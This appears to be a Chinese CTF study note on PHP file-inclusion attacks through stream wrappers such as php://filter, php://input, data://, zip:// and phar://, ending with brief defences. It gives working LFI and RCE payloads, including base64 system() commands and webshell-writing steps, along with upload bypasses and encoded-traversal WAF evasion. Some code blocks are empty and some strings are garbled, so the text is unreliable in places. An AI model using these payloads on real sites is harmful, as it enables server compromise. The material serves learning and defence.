**伪协议说明**
| 协议 | 测试PHP版本 | allow\_url\_fpen | allow\_url\_include | 用法 | 说明 |
| ----------------- | ------- | ---------------- | ------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------- |
| file:// | >=5.2 | off/on | off/on | ?file=file://D:/soft/phpstudy/WWW/phpcode.txt | 读取电脑或者服务器的路径某一个文件，而且把内读取出来 |
| php\://filter | >=5.2 | off/on | off/on | ?file=php\://filter/read=convert.base64-encode/resource=./index.php | 可以通过filter协议读文件，读出来的文件能进行编码 |
| php\://input | >=5.2 | on | on | ?file=php\://input POST DATA]\ | 可以访问请求原始数据的只读流，将POST的数据当做PHP代码来执行 |
| zip\:// | >=5.2 | off/on | off/on | file=zip\://D:/soft/phpStudy/WWW/file.zip%23phpcode.bxt | 跟fille差不多，区别在于zip是压缩包 %23是编码是# 就是压缩包里面有一个txt文件 |
| compress.bzip2:// | >=5.2 | off/on | off/on | ?file=compress.bzip2://D:/soft/phpStudy/WWW/file.gz【or】?file=compress.zlib2://./file.bz2 | |
| compress.zipb:// | >=5.2 | off/on | off/on | ?file=compress.zlib://D:/soft/phpStudy/WWW/file.gz
【or】?file=compress.zlib://./file.gz
| |
| data:// | >=5.2 | on | on | ?file=data://text/plain,\
【or】
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=也可以：
?file=data:text/plain,\
【or】
?file=data:text/plain:base64.PD9waHAgcGhwaW5mbyqpPz4=
| 类似input 让用户来控制输入流
base64编码的phpinfo
PD9waHAgcGhwaW5mbyqpPz4=
|
| | | | | | |
| 包装器或协议 | 可控功能 | allow\_url\_include | 漏洞类型 | 备注 |
| ------------------- | ----------------------- | ------------------- | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| file:// | - | Off | LFI /文件处理 | |
| glob:// | - | Off | 目录遍历 | |
| php\://filter/read | include | Off | 档来披露 | php\://filter/read=convert.base64-encode/resource=index.php |
| php\://filter/write | file\_put\_contents | Off | 编码方式 | file\_put\_contents("php\://filter/write=string.rot13/resource=x.txt","content"); |
| php\://input | include | On | RCE | Encoding is required while reading .php source: \ OR just use \ |
| data:// | include | On | RCE | data:text/plain,\ OR data:text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpPz4= |
| zip\:// | include + uploaded file | Off | RCE | |
| phar:// | include + uploaded file | Off | RCE | PHP version >= 5.3 |
来源
### 12.2 file://协议
```kotlin
PHP.ini：
file:// 协议在双off的情况下也可以正常使用；
allow_url_fopen ：off/on
allow_url_include：off/on
```
* file:// 用于访问本地文件
* file:// \[文件的绝对路径和文件名]
**测试代码：**
```php
```
·
### 12.3 php\://协议 输入/输出流（I/O streams）
**php\://filter***：用于读取源码并进行bash64编码输出；*
在双off的情况下也可以正常使用；
条件：
* allow\_url\_fope off/on
* allow\_url\_include on
不需要开启allow\_url\_fopen
**php：//input***：可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行；*
条件(php.ini)：
* allow\_url\_fope off/on
* allow\_url\_include on
仅php\://input、 php\://stdin、 php\://memory 和 php\://temp 需要开启 allow\_url\_include。
php\://stdin是只读的，php\://stdout 和 php\://stderr 是只写的。 php\://output 是一个只写的数据流， 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
php\://fd 允许直接访问指定的文件描述符。
在CTF中经常使用的是php\://filter和php\://input
* php\://filter用于读取源码
* php\://input用于执行php代码
### 12.4 php\://input
php\://input可以访问请求的原始数据的只读流，将post请求的数据当作php代码执行。当传入的参数作为文件名打开时，可以将参数设为php\://input,同时post想设置的文件内容，php执行时会将post内容当作文件内容。从而导致任意代码执行。
因为它不依赖于特定的 php.ini 指令。
注：enctype="multipart/form-data" 的时候 php\://input 是无效的。
注：遇到file\_get\_contents()要想到用php\://input绕过。
**条件：**
* php <5.0 ，allow\_url\_include=Off/On 情况下也可以用
* php > 5.0，只有在allow\_url\_fopen=On 时才能使用
**测试代码：**
```php
clieck go baidu'; //如果不是的话提示clieck go baidu
}
?>
```
**1.利用php\://input执行phpinfo代码**
它会读取POST的内容进行执行因为把php代码include到里面了php代码就会执行
```
http://127.0.0.1/ctf/2/php_input.php?file=php://input
```
这样就可以获取phpinfo页面说明代码成功执行了 我们要获取flag
**2.利用php\://input system来执行当前系统的操作目录**
```php
```
**3.利用php\://input 写shell**
既然可以执行php代码那么可以利用来生成一个一句话木马文件
```php
');?>
//fputs写文件
//fopen获取了shell.php的对象
//w 写的操作 i是写
//一句话木马
//如果一句话木马内容为双引号那么不会成功执行
```
这样就写了shell.php
### 12.5 php\_filter （本地磁盘文件进行读取）重点理解
php\://filter：(读取文件)
php\://filter 是一种元封装器， 设计用于数据流打开时的[筛选过滤](https://www.php.net/manual/zh/filters.php)应用。 这对于一体式（all-in-one）的文件函数非常有用，类似 [readfile()](https://www.php.net/manual/zh/function.readfile.php)、 [file()](https://www.php.net/manual/zh/function.file.php) 和 [file\_get\_contents()](https://www.php.net/manual/zh/function.file-get-contents.php)， 在数据流内容读取之前没有机会应用其他过滤器。 可以获取指定文件源码。当它与包含函数结合时，php\://filter流会被当作php文件执行。所以我们一般对其进行编码，让其不执行。从而导致 任意文件读取。
php\://filter **参数**
| **名称** | **描述** | **说明** |
| ------------------ | ------------------------------------------- | ------------------------ |
| resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。 | 理解为文件名字 |
| read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称，以管道符（\|）分隔。 | \|可以加或不加，如果加可以Base64进行编码 |
| write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称，以管道符（\|）分隔。 | |
| <；两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 | |
**语法**
* **Example #2** php\://filter/resource=**<待过滤的数据流>**
这个参数必须位于 php\://filter 的末尾，并且指向需要过滤筛选的数据流。
```php
```
* **Example #3** php\://filter/read=**<读链需要应用的过滤器列表>**
这个参数采用一个或以管道符 | 分隔的多个过滤器名称。
```php
```
* **Example #4** php\://filter/write=**<写链需要应用的过滤器列表>**
这个参数采用一个或以管道符 | 分隔的多个过滤器名称。
```php
```
**参考php官网**
**测试代码：**
**index.html**
```markup
CTF
click me? no
```
**index.php**
```php
Bugku-ctf
click me? no';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
```
**show\.php**
```php
Bugku-ctf
test5
```
* 打开地址 点击一下 [click me? no](http://127.0.0.1/1/index.php?file=show.php)
直接跳到 从URL得到出file传参包含得到show\.php
* 使用伪协议php\://filter base64编码进行包含index.php
```
http://127.0.0.1/1/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
```
* 得到base64编码
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4=
* 使用Burp解密得到
* flag为flag:flag{edulcni\_elif\_lacol\_si\_siht}
### 12.6 php\://output
是一个只写的数据流， 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
**测试代码：**
```php
```
·
### 12.7 zip\://, bzip2://, zlib://协议
zip\://, bzip2://, zlib://协议条件：
* allow\_url\_fope off/on
* allow\_url\_include off/on
*
* bzip2:*//使用方法：*
* bzip2:*//file.bz2*zlib:*//使用方法：*
* zlib:*//file.gz*
```
3个封装协议，都是直接打开压缩文件。
compress.zlib://file.gz - 处理的是 '.gz' 后缀的压缩包
compress.bzip2://file.bz2 - 处理的是 '.bz2' 后缀的压缩包
zip://archive.zip#dir/file.txt - 处理的是 '.zip' 后缀的压缩包里的文件
```
zip\://, bzip2://, zlib:// 均属于压缩流，可以访问压缩文件中的子文件，更重要的是不需要指定后缀名。
可以访问压缩包里面的文件。当它与包含函数结合时，zip\://流会被当作php文件执行。从而实现任意代码执行。
* zip\://中只能传入绝对路径。
* 要用#分隔压缩包和压缩包里的内容，并且#要用url编码%23（即下述POC中#要用%23替换）
* 只需要是zip的压缩包即可，后缀名可以任意更改。
* 相同的类型的还有zlib://和bzip2://
**zip\://协议**
php 版本大于等于 php5.3.0
* zip:*//使用方法：*
* zip:*//\[压缩文件绝对路径]#\[压缩文件内的子文件名]*
要用绝对路径+url编码#
* 创建一个uploads文件夹
**测试代码：**
//index.php
```php
upload?';
if(stristr($file,"input")||stristr($file, "filter")||stristr($file,"data")/*||stristr($file,"phar")*/){
echo "hick?";
exit();
}else{
include($file.".php"); //着重注意这个后缀，适合前面的file拼接的也就是zip://c:/a.zip%23backdoor与这个后缀拼搂，后缀是什么,压缩包文件的后缀是什么
}
?>
```
//upload.php
```php
you can upload jpg,png,zip....
upload error';
}
else {// Yes!
echo "".dirname(__FILE__)."\\{$target_path} succesfully uploaded!";
}
}
else {
echo 'you can upload jpg,png,zip....
';
}
}
?>
```
* 点击upload？直接跳转
* 跳转到文件上传功能上 题目思路上传文件再利用压缩包协议进行包含获取webshell
从上传分析只能上传jpg，png，zip.....
* 上传一个压缩包里面包含php的文件 并且得到了绝对路径
* 利用zip协议进行包含并且加上%23和压缩包里面文件（如果不用%23而用#后面的文件是被忽略）
```
?file=zip://D:\phpstudy_pro\WWW\CTF\3\uploads\8a10fd88e3ab15c68d1596b0b4377816.zip%23test.php
```
访问失败 因为在代码中是拼接了一个php
在访问的时候去掉“ .php ”就可以了
如果把压缩包改成“jpg”是否还可以通过zip协议识别包含
```
http://127.0.0.1/ctf/3/php_zip.php?file=zip://D:\phpstudy_pro\WWW\CTF\3\uploads\8a10fd88e3ab15c68d1596b0b4377816.jpg#test
```
说明zip协议不会校验后台的名称，不管是jpg还是png等等都会当成zip文件
**bzip2://协议**
**使用方法：**
`compress.bzip2://file.bz2`
相对路径也可以
测试
用7-zip生成一个bz2压缩文件。
pyload:[`http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/liuxianglai/Desktop/test.bz2`](http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/liuxianglai/Desktop/test.bz2)
或者文件改为jpg后缀
`` ` http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/liuxianglai/Desktop/test.jpg ``
**zlib://协议**
**使用方法：**
`compress.zlib://file.gz`
相对路径也可以
`` ` http://127.0.0.1/xxx.php?a=compress.zlib://file.gz ``
```php
# 1.jpg 代码
```
**扩展**
尝试利用其它协议进行测试
```php
upload?';
echo $file;
include($file.".php"); //着重注意这个后缀，适合前面的file拼接的也就是zip://c:/a.zip%23backdoor与这个后缀拼搂，后缀是什么,压缩包文件的后缀是什么
}
?>
```
省略
**phar://** 有点类似zip\://同样可以导致 任意代码执行。
phar://中相对路径和绝对路径都可以使用
### 12.8 php-date
条件：
allow\_url\_fope = on allow\_url\_include = on
data://：将原本的include的文件流重定向到了用户可控制的输入流中
条件： allow\_url\_include=On php > 5.2
**测试代码：**
```php
//include.php
```
**通过data://text/plain协议包含phpinfo**
```
?file=data://text/plain,
```
**通过data://text/plain协议包含Base64编码phpinfo**
```
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
```
**通过data:text/plain协议包含phpinfo（省掉“//”）**
```
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
```
**通过data://text/plain协议包含Base64编码\**
```
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==
```
**通过data://text/plain协议包含利用一句话木马**
```
?file=data://text/plain,');?>
```
## 13、
```php
# 例如这样限制了我们只能包含 .html 的文件
# 文件名称: 2.php
```
限制了只能包含 `.xxx` 文件的绕过方法
### 13.1 绕过方法一 - zip协议
新建一个名为1.html的文件，内容为``，然后压缩为名为111.zip的zip文件。
接着利用网站的上传功能上传文件
攻击payload: \` ;
### 13.2 绕过方法二 - zip协议
有的上传点可能限制死了,你只能上传jpg的图片那么你可以这样做
新建一个名为1.html的文件，内容为``，然后压缩为名为111.zip的zip文件。
接着 111.zip 改名为 111.jpg
攻击payload: ;
### 13.3 绕过方法三 - phar协议
新建一个名为1.html的文件，内容为``，然后压缩为名为111.zip的zip文件。
\
如果可以上传zip文件则上传zip文件，若不能则重命名为111.jpg后上传。
攻击payload-1: [http://atest.test/2.php?x=phar://111.jpg%2F1](http://atest.test/2.php?x=phar://111.jpg%252F1)
攻击payload-2: [http://atest.test/2.php?x=phar://111.zip%2F1](http://atest.test/2.php?x=phar://111.zip%252F1)
这两个payload 就看你能上传哪个文件了
如果可以上传 jpg 那么就使用payload-1
如果可以上传 zip 那么就使用payload-2
参考
**总结**
通过实验发现这个可能是编码的问题因为\在编成base64的时候出现了+。而浏览器不认识+号。所以解决方法
* 不写后面的?> 因为PHP里面其实不需要写后面的 前面的；号就已经说明结束了。如果没有；号就必须写?>作为结束。
* 添加空格改变base64编码。
* 将+号换成%2b
将\改变成url编码
## 14、JSP包含
**#静态包含**
Jsp中的静态包含语句为
<%@ include file=”page.txt”%>
编写好page.txt后访问index.asp,page.txt将会被解析。Jsp语法规定include指令为静态包含只能调用已经存在于服务器中的文件，因此include指令将不存在文件包含漏洞。
\# **动态包含**
动态包含语句为：\
与静态包含相反在运行时会先处理被包含的页面，然后再包含，而且可以包含一个动态页面。
## 15、WAF
当碰到 WAF 时，可以把 <> 这些特殊符号进行编码再试。
如果WAF中是字符串匹配，可以使用url多次编码的方式可以绕过
特殊字符绕过
某些情况下，读文件支持使用Shell通配符，如 ? \* 等
url中 使用 ? # 可能会影响include包含的结果
某些情况下，unicode编码不同但是字形相近的字符有同一个效果
url编码、双层（多层）url编码
%2e%2e%2f 解码：../
%2e%2e%5c 解码：..\\
%25%2e%25%2e%255c 解码：..\（可使用burp多层编码和解码）
uniclode/UTF-8编码
..%c0%af 解码：../
%c1%9c 解码：..\\
但编码能否正确的起到效果，得看web server是否能对编码后的做解析
## 16、文件包含防御
* PHP中使用open\_basedir配置限制访问在指定目录的区域
* 过滤.(点）/（反斜杠）\（反斜杠）
* 禁止服务器远程文件包含
* 尽量不要使用动态包含，可以在需要包含的页面固定写好
* 可以通过调用str\_replace()函数实现相关敏感字符的过滤，一定程度上防御了远程文件包含。